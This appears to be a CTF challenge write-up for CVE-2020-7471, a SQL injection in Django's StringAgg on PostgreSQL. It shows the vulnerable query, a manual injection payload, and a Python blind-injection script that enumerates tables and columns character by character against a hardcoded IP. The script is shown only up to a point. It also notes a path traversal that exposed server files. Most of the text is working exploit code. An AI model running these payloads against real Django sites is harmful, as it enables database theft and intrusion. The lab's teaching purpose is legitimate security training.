tempuss/ctf_cve-2020-7471CTF challenge exploiting CVE-2020-7471, a Django SQL injection vulnerability in PostgreSQL StringAgg, with Docker setup and exploit scripts.
Since web hackers usually study SQL Injection on MySQL, I created this problem using PostgreSQL so that they can experience attacks on various databases.
Since the vulnerability occurred in a Django service, to give a hint, a custom header named 'Version' was added to the HTTP Response, specifying the versions of Django and Postgres. Searching for SQL Injection vulnerabilities in Django 3.0.1 reveals public PoC codes.
When accessing the website, a list of posts is displayed
Clicking the left number retrieves the post based on its pk and content value
Actual backend code
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
custom_field=StringAgg('content', delimiter=content)).all()
The StringAgg function concatenates strings with a delimiter. However, since there is no input validation on the content parameter, an injection payload can be inserted into the content part.
http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --
Path Traversal vulnerability occurred. By accessing the URL http://118.67.135.137/static../, all files on the server became accessible, allowing the flag to be obtained by reading a backup dump file.CVE-2020-7471
A problem using the SQL Injection vulnerability CVE-2020-7471 found in Django versions 1.11, 2.2, and 3.0.x ≤ 3.0.2
A vulnerability caused by insufficient argument validation in code related to the StringAgg function among PostgreSQL functions
import requests
server = "http://118.67.135.137/post/"
id = 1
content_param = f"/?content="
content = "IS_FREE!"
def exists_check(content):
"""Function to check response"""
if "title" in str(content):
return True
else:
return False
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Host": "127.0.0.1:8000",
"Pragma": "no-cache",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}
def get_table_info_from_information_schema():
# Retrieve number of tables
table_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
table_count = table_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_count = table_count - 1
table_count_get = True
# Extract table list
table_row_list = []
# Loop for number of public tables
for table_row in range(0,table_count):
# Get table name length
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break
# Loop for table name size
table_name = ""
for i in range(0,table_name_size):
for ascii in range(0,128):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
table_name = table_name+str(chr(ascii))
break
table_row_list.append(table_name)
print(table_row_list)
def get_column_info_from_information_schema():
vul_flag_column_count = 0
table_count_get = False
while table_count_get is False:
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
#time.sleep(1)
vul_flag_column_count = vul_flag_column_count + 1
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
vul_flag_column_count = vul_flag_column_count - 1
table_count_get = True
column_name_list = []
for i in range(0,vul_flag_column_count):
# Get table name length
for table_name_size in range(0,50):
payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
url = f"{server}{id}{content_param}{payload}"
resp = requests.get(url=url, headers=headers)
if exists_check(resp.content):
break